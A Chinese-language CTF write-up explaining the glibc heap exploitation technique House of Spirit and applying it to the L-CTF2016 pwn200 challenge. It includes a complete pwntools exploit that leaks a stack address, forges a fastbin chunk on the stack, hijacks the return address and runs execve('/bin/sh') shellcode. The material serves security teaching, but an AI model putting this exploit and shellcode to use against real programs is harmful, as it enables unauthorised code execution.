堆漏洞之House of Spirit

这个漏洞利用的方式借之前做过的一道题目进行讲解,其中的pwn200之前是用修改got地址的方式,这里用House of Spirit的方式进行利用。

House of Spirit原理

House of Spirit的主要思想是覆盖一个堆指针,使其指向可控的区域,构造好相关数据,释放堆指针时系统会将该区域作为chunk放到fastbin里,再申请这块区域,这块区域就可能改写目标区域。shellfish的github里有相关的原理介绍,但是可能会比较难懂,还是看题目比较具体。

利用场景和思路

House of Spirit的利用场景如下:
(1)想要控制的目标区域的前面一段空间和后面一段空间都是可控的内存区域想要控制的目标区域一般为返回地址或函数指针,正常情况下,该区域是无法控制的。

1
2
3
4
5
6
7
8
9
+------------------+
| 可控区域1 |
+------------------+

| 目标区域(不可控, |
| 多为返回地址或函数 |
| 指针等) |
+------------------+

| 可控区域2 |
+------------------+

(2)存在可覆盖的堆指针
将堆指针覆盖为上图中的可控区域。
存在上述场景时,可按如下思路进行利用:
(1)伪造堆块,在可控区域1和2中构造数据,将目标区域伪造成一个fast chunk;
(2)覆盖堆指针指向伪造的fast chunk;
(3)释放伪造的fast chunk到fastbin单链表中;
(4)申请刚刚释放的chunk,使得可以向目标区域中写入数据。

fastbin是一个单链表结构,遵循LIFO的规则,32位系统中的fastbin大小是16~64字节,64位是32~128字节之间。

想要释放堆块到fastbin,需要满足一些限制,free时相关的源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */

p = mem2chunk (mem);

if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
munmap_chunk (p);
return;
}

ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}

这里mmap标识位必须为0,否则会执行munmap_chunk函数。最后调用的_int_free()会检查:
(1)chunk的size不能超过fastbin的最大值(64位系统上为128);
(2)下一个chunk的size要大于2 * SIZE_SZ,小于av->system_mem。
对应到上面的图,需要在可控区域1中伪造好size绕过mmap和size的检查,可控区域2伪造下一个chunk的size绕过最后一个检查。

L-CTF2016 pwn200

题目之前讲解过,这里就介绍House of Spirit的利用方式。
首先还是利用输入用户名这里的off by one漏洞,输入48个字符泄露rbp的值(rbp的值是上一个栈帧的栈底位置)。接着输入id,input_num()接收的数字保存在栈上rbp-0x38的位置,将这个值当做可控区域2中的下一个chunk的size。
最后输入money,输入的money可以覆盖dest堆指针,这满足前面说的覆盖堆指针的条件。同时这个money的空间也就是可控区域1。
利用思路如下:
(1)泄露rbp,覆盖堆指针指向栈;
(2)伪造chunk数据;
(3)将伪造的chunk释放到fastbin;
(4)申请chunk;
(5)写数据到chunk,覆盖目标区域。
构造栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
+------------+-----
| ... |
+------------+

| 0x41 | # 伪造的chunk size
+------------+<-fake_addr(ptr)
| 0 |
+------------+ ask_for_money栈帧(0x40)
| fake_addr | dest

+------------+-----
| rbp |
+------------+

| rip |
+------------+-----

| ... |
+------------+

| 32 | id # 伪造的下一个chunk的size
+------------+ welcome栈帧(0x50)
| shellcode | name(0x30)
+------------+-----

| rbp |
+------------+

| rip |
+------------+-----

| ... | main栈帧(0x10)
+------------+<----rbp_addr

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python
#coding:utf-8

from pwn import *

#r = remote('127.0.0.1', 6666)
p = process("./pwn200")

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

def pwn():
# gdb.attach(p, "b *0x400991")

data = shellcode.ljust(46, 'a')
data += 'bb'
p.send(data)
p.recvuntil('bb')
rbp_addr = p.recvuntil(', w')[:-3]
rbp_addr = u64(rbp_addr.ljust(8,'\x00'))
print hex(rbp_addr)

fake_addr = rbp_addr - 0x90
shellcode_addr = rbp_addr - 0x50
# 输入id伪造下一个堆块的size
p.recvuntil('id ~~?')
p.sendline('32')

p.recvuntil('money~')
data = p64(0) * 5 + p64(0x41) # 伪造堆块的size
data = data.ljust(0x38, '\x00') + p64(fake_addr) # 覆盖堆指针
p.send(data)

p.recvuntil('choice : ')
p.sendline('2') # 释放伪堆块进入fastbin

p.recvuntil('choice : ')
p.sendline('1')
p.recvuntil('long?')
p.sendline('48')
p.recvuntil('\n48\n') # 将伪堆块申请出来
data = 'a' * 0x18 + p64(shellcode_addr) # 将eip修改为shellcode的地址
data = data.ljust(48, '\x00')
p.send(data)
p.recvuntil('choice : ')
p.sendline('3') # 退出返回时回去执行shellcode

p.interactive()

if __name__ == '__main__':
pwn()

总结

House of Spirit的主要意思是我们想要控制的区域控制不了,但它前面和后面都可以控制,所以伪造好数据将它释放到fastbin里面,后面将该内存区域当做堆块申请出来,致使该区域被当做普通的内存使用,从而目标区域就变成了可控的了。
reference
堆之House of Spirit